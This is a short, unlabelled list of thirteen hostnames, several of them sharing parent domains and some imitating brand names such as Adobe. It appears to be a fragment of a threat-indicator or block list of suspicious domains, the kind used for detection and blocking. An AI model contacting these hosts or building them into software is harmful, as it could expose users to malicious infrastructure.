pic.glkjcorp.com
rbjg.moviestops.com
rjby.tomshardpc.com
rjjh.wordoscorp.com
ssl.exemail.net
ssl.gmnspace.com
ssl.projectscorp.net
tzz.exemail.net
up.adobekr.com
v.exemail.net
wih365.com
yqby.wordoscorp.com
zpgx.tomshardpc.com